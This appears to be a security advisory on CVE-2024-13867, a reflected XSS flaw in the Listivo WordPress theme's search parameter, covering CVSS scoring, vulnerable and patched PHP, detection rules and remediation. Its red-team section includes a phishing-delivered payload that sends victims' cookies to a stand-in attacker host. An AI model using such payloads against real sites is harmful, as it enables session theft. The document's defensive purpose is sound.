CVE-2024-13867

Executive Summary

CVE-2024-13867 is a reflected Cross-Site Scripting (XSS) vulnerability affecting the Listivo - Classified Ads WordPress Theme for WordPress, up to and including version 2.3.67. The flaw resides in insufficient input sanitization and output escaping of the s parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to script execution in the victim's browser within the context of the vulnerable WordPress site. This vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the Listivo WordPress theme, which is distributed via commercial marketplaces (e.g., ThemeForest). No open-source package (NPM, PyPI, Go, Ruby) is directly affected. Users must obtain patches from the vendor or consider alternative themes if no update is provided.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. Impact is limited to information disclosure and script execution in the victim's session.

Deep Dive & Mechanics

The vulnerability exists in the Listivo theme's search functionality, where the s parameter is used to pass search queries. The theme fails to properly sanitize and escape this input before rendering it in the response. An attacker can craft a URL containing malicious JavaScript in the s parameter, such as:

https://victim-site.com/?s=<script>alert('XSS')</script>

When a user clicks this link, the script executes in their browser, potentially allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the user.

Root Cause: The theme uses echo $_GET['s'] or similar without applying esc_html() or wp_kses() functions, and without validating the input against expected patterns.

Vulnerable vs. Patched Code

Vulnerable Code (example):

<?php
$search_query = $_GET['s'];
echo '<div class="search-term">' . $search_query . '</div>';
?>

Patched Code (expected):

<?php
$search_query = sanitize_text_field($_GET['s']);
echo '<div class="search-term">' . esc_html($search_query) . '</div>';
?>

The patched version uses sanitize_text_field() to strip malicious content and esc_html() to safely encode output.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Craft the malicious URL:

   https://victim-site.com/?s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Deliver the link via phishing email, social media, or other channels.

3. Victim clicks the link, executing the script.

4. Data exfiltration: The script sends the victim's cookies to the attacker's server.

No exploit code from Exploit-DB is available.

Blue Team (Detection & Prevention)

• Web Application Firewall (WAF): Block requests containing <script> tags in the s parameter.
• Input Validation: Ensure the s parameter only contains alphanumeric characters and spaces.
• Output Encoding: Apply esc_html() to all user-supplied data before rendering.
• Content Security Policy (CSP): Implement a strict CSP to block inline scripts.

Indicators of Compromise (IOCs)

• URL Pattern: ?s=<script>... or ?s=...<script>...
• Log Entries: HTTP requests with s parameter containing <script>, onerror, onload, or similar event handlers.
• Network Traffic: Outbound connections to unknown domains from the victim's browser.
• File Changes: Unauthorized modifications to WordPress theme files (less likely for reflected XSS).

Detection Engineering

YARA Rule

rule CVE_2024_13867_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Listivo theme s parameter"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-13867"
    strings:
        $xss_pattern1 = /[?&]s=.*<script>/i
        $xss_pattern2 = /[?&]s=.*onerror\s*=/i
        $xss_pattern3 = /[?&]s=.*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS via Listivo Theme s Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against Listivo theme s parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - "?s=<script"
            - "?s=...<script"
            - "?s=...onerror"
            - "?s=...onload"
    condition: selection
falsepositives:
    - Legitimate search queries containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13867 Reflected XSS in Listivo Theme"; flow:to_server; content:"?s="; nocase; content:"<script"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the search functionality or restrict the s parameter to alphanumeric characters only via a custom plugin or .htaccess rewrite.
2. Patch: Contact the vendor (Listivo) for an official patch. If unavailable, consider switching to a different theme.
3. WAF Rules: Deploy WAF rules to block XSS payloads in the s parameter.
4. User Education: Train users to avoid clicking suspicious links.
5. Monitoring: Monitor logs for XSS attempts and investigate any successful exploitation.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert